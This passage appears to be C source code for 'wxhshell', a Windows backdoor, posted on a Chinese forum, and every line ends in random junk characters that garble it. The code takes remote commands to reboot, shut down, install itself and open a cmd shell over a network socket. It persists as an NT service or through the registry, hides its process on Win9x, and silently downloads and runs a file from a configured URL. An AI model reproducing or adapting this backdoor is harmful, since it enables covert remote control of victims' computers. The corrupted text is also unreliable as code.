o7;lR?  
    switch(cmd[0]) { lvY[E9I0  
  W2&o'(P\  
  // 帮助 Xq@Bzya  
  case '?': { n#|ljC  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wQEsq<  
    break; d)1 d0ES  
  } SFv'qDA  
  // 安装 3f@@|vZF  
  case 'i': { -U.>K,M  
    if(Install()) 9sJ=Nldq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q V)>+6\  
    else &N:Iirg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <A^sg?s<'  
    break; kUGOkSP8[  
    } C.].HQ  
  // 卸载  k{d]  
  case 'r': { N:x--,2  
    if(Uninstall()) ~G,_4}#"pM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w;W# 'pE  
    else vJ9I z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {bHUZen  
    break; !K*(# [  
    } {7'Wi$^F  
  // 显示 wxhshell 所在路径 }IEwGoDwNs  
  case 'p': { =h0vdi%{  
    char svExeFile[MAX_PATH]; Xdh2  
    strcpy(svExeFile,"\n\r"); cD6S;PSg  
      strcat(svExeFile,ExeFile); hz:h>Hwy  
        send(wsh,svExeFile,strlen(svExeFile),0); i' V("  
    break; _rM?g1}5j  
    } M#n lKj<  
  // 重启 *,& 2?E8  
  case 'b': { J/LsL k  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R!f<6l8#W  
    if(Boot(REBOOT)) t xE=AOY5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t.y-b`v  
    else { :^7>kJ5?  
    closesocket(wsh); ttOk6-  
    ExitThread(0); G?kK:eV  
    } MH=7(15R  
    break; P q0 %oz  
    } .V4-  
  // 关机 (Zg'])  
  case 'd': { 50_[n$tqE  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); plL|Ubn  
    if(Boot(SHUTDOWN)) ZtyDip'x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k/P.[5  
    else { *4/FN TC  
    closesocket(wsh); e,N}z  
    ExitThread(0); zD)/QFILy  
    } ]Hp>~Zvbb  
    break; XeX\u3<D  
    } n{u\t+f  
  // 获取shell &AN1xcx\  
  case 's': { B (Ps/  
    CmdShell(wsh); cbN;Kv?ak}  
    closesocket(wsh); *Nm$b+  
    ExitThread(0); ,qx^D  
    break; T/a=z  
  } 4-~Z{#-  
  // 退出 o]E L=j  
  case 'x': { vJLGy]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KL3Z(  
    CloseIt(wsh); ? D _kQl  
    break; w A\5-C7 j  
    } z/u^  
  // 离开 {`QA.he.  
  case 'q': { W1 k]P.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )adV`V%=>  
    closesocket(wsh); `^52I kM)  
    WSACleanup(); AtewC Yo  
    exit(1);  D|)a7_  
    break; ~w a6S?  
        } Q F)\\ D[  
  } @/F61Ut  
  } K>dB{w#gS  
om`T/@_,  
  // 提示信息 D"rbQXR7$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #MKM.T,\t  
} y~fKLIoz"  
  } N+'j on}U  
_ Ao$)Gu)  
  return; "$XX4w M  
} sxsb)a  
s bj/d~$N  
// shell模块句柄 H T|DT  
int CmdShell(SOCKET sock) Keozn*fzI  
{ 'C/yQvJ  
STARTUPINFO si; GL=}Vu`(*  
ZeroMemory(&si,sizeof(si)); qT48Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oQ 2$z8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )rq |t9kix  
PROCESS_INFORMATION ProcessInfo; >~SS^I0  
char cmdline[]="cmd"; r/2= nE  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5?lc%,-&  
  return 0; 7~SwNt,  
} 0?<#!  
z$e6T&u5B  
// 自身启动模式 &)Xc'RQ.C  
int StartFromService(void) Lm TFvZ  
{ &^r>Q`u  
typedef struct OvtE)u l@  
{ DMM<,1  
  DWORD ExitStatus; 51SmoFbMz  
  DWORD PebBaseAddress; X*QS/\  
  DWORD AffinityMask; P( hGkY=(  
  DWORD BasePriority; X_]rtG  
  ULONG UniqueProcessId; BH">#&j[  
  ULONG InheritedFromUniqueProcessId; & 3BoK/y3  
}   PROCESS_BASIC_INFORMATION; |'q%9 #  
>#w;67he2  
PROCNTQSIP NtQueryInformationProcess; ZEAUoC1E1  
JVYH b 60Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;f =m+QXU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <eoie6@3  
|^6{3a  
  HANDLE             hProcess; EU$.{C_O(  
  PROCESS_BASIC_INFORMATION pbi; Ks-$:~?5":  
j,.\QwpU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %up?70  
  if(NULL == hInst ) return 0; Ax;=Zh<DAv  
1z? }'&:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l4>^79**  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {'5"i?>s0>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O`B,mgT(  
<h/%jM>9/  
  if (!NtQueryInformationProcess) return 0; {~3QBMx6  
`7CK;NeT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [d: u(  
  if(!hProcess) return 0; 0B}4$STOo[  
H$KO[mW}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K:wI'N"N  
xT%`"eM}  
  CloseHandle(hProcess); rm iOeS`:  
=~B"8@B  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); CMXF[X)%  
if(hProcess==NULL) return 0; AcC &Q:g  
yD7BZI xW  
HMODULE hMod; ;-+q*@sa]  
char procName[255]; XBQt:7[<  
unsigned long cbNeeded; Yc:%2KZ"  
0cd_l 2f#g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Zh=a rlk  
2 T!Tiu  
  CloseHandle(hProcess);  c0oHE8@  
558P"w0"X  
if(strstr(procName,"services")) return 1; // 以服务启动 Y`;}w}EcgR  
YmziHns`b  
  return 0; // 注册表启动 fpD$%.y'J  
} 5 4gr'qvr  
-U d^\Yy  
// 主模块 o~Se[p  
int StartWxhshell(LPSTR lpCmdLine) tyu@ a CK  
{ 9R50,l sE  
  SOCKET wsl; S<tw5!tJ  
BOOL val=TRUE; :D D<0  
  int port=0; Lo%n{*if  
  struct sockaddr_in door; WYw#mSp  
lW+mH=  
  if(wscfg.ws_autoins) Install(); -(qRC0V  
NRi5 Vp2=  
port=atoi(lpCmdLine); c-a,__c?hx  
a=iupXre9  
if(port<=0) port=wscfg.ws_port; b/wpk~qi  
?=VvFfv%  
  WSADATA data; (_T{Z>C/J  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6 ':iW~iI  
J|`0GDSn  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %6UF%dbYH`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h>-P/  
  door.sin_family = AF_INET; TNX9Z)=>g  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Hiyg1  
  door.sin_port = htons(port); XLN bV?  
{]0e=#hw  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $></%S2g  
closesocket(wsl); =!q% 1mP  
return 1; |>.Q U3  
} Cp8=8N(Xb  
Nwvlv{k'  
  if(listen(wsl,2) == INVALID_SOCKET) { EBj^4=b[  
closesocket(wsl); XYEwn_Y  
return 1; IG781:,/  
} fab'\|Y   
  Wxhshell(wsl); ,X4e?$7g  
  WSACleanup(); d2rs+-  
#36Q O  
return 0; g^AQBF  
N[%u>!  
} 8v4}h9*F"7  
S c)^k  
// 以NT服务方式启动 _?{7%(C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) JK k0f9)  
{ 7]ieBUf S  
DWORD   status = 0; 0> f!S` *  
  DWORD   specificError = 0xfffffff; h9vcN#22D  
@:lM|2:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [a=exK  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; iI3:<j l  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; J2UQq7-y  
  serviceStatus.dwWin32ExitCode     = 0; q7R]!zk  
  serviceStatus.dwServiceSpecificExitCode = 0; gFDnt  
  serviceStatus.dwCheckPoint       = 0; ]%Q!%uTh  
  serviceStatus.dwWaitHint       = 0; /jbAf]"F;  
x#rgFY,TY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A1WUK=P  
  if (hServiceStatusHandle==0) return; F3tps jQ  
gQ1 obT"|  
status = GetLastError(); SN{z)q  
  if (status!=NO_ERROR) Cux(v8=n  
{ 8{ zX=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7T~ M`$h  
    serviceStatus.dwCheckPoint       = 0; [$N_YcN?  
    serviceStatus.dwWaitHint       = 0; Z;BS@e  
    serviceStatus.dwWin32ExitCode     = status; Up9{aX  
    serviceStatus.dwServiceSpecificExitCode = specificError; L@}PW)#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7)66e  
    return; 0-2|(9 Kc  
  } b}e1JPk}!  
h$cm:uks  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; R4?>C-;  
  serviceStatus.dwCheckPoint       = 0; $a(-r-_Fi]  
  serviceStatus.dwWaitHint       = 0; Zk3Pv0c  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); eA!o#O.  
} lqzt[zgN  
@^{Hq6_`  
// 处理NT服务事件,比如:启动、停止 2 $>DX\h  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z\&f"z?L  
{ sD|l}f  
switch(fdwControl) 4S_ -9&z  
{ Z;0~f<e%  
case SERVICE_CONTROL_STOP: X{9^$/XsJ  
  serviceStatus.dwWin32ExitCode = 0; q z)2a2C  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; | ,8z" g  
  serviceStatus.dwCheckPoint   = 0; |s8N  
  serviceStatus.dwWaitHint     = 0; M`MxdwR  
  { c-LzluWi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N& _~y|  
  } Z6!Up1  
  return; Epzg|L1)  
case SERVICE_CONTROL_PAUSE: f?3-C8 hU  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; NOb`)qb  
  break; "oP^2|${  
case SERVICE_CONTROL_CONTINUE: z;OYPGvkw  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  Rr) 5 [  
  break; +WX/4_STV  
case SERVICE_CONTROL_INTERROGATE: }gp@0ri%5  
  break; B(Sy.n  
}; WT *"V<Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R@e'=z[%1  
} 8K%N7RL|  
G0FzXtu)q  
// 标准应用程序主函数 %mI0*YRma  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'yo@5*x7  
{ FX:`7c]:9  
#]#9Xq  
// 获取操作系统版本 x*7@b8J  
OsIsNt=GetOsVer(); Q>niJ'7WF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !MbzFs~  
[%W'd9`>  
  // 从命令行安装 pR0[qsQM  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,Oo`*'a[o7  
NvK9L.K  
  // 下载执行文件 EF/d7  
if(wscfg.ws_downexe) { eJDZ| $  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z^Hc'oVXj:  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0<M-asI?  
} W.wPy@yi  
$8EEtr,!  
if(!OsIsNt) { @"w4R6l+*  
// 如果时win9x,隐藏进程并且设置为注册表启动 CH++3i2&  
HideProc(); Vk5Z[w a  
StartWxhshell(lpCmdLine); C@M-_Ud>Q  
} 8%rD/b6`  
else hp dI5  
  if(StartFromService()) K_Y-N!h  
  // 以服务方式启动 >e]g T  
  StartServiceCtrlDispatcher(DispatchTable); (;NJ<x  
else ''17(%  
  // 普通方式启动 woI5aee|  
  StartWxhshell(lpCmdLine); =H95?\}T[  
dQ:,pe7A  
return 0; YAi-eL67l  
}
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只看该作者 1 发表于: 2006-10-10
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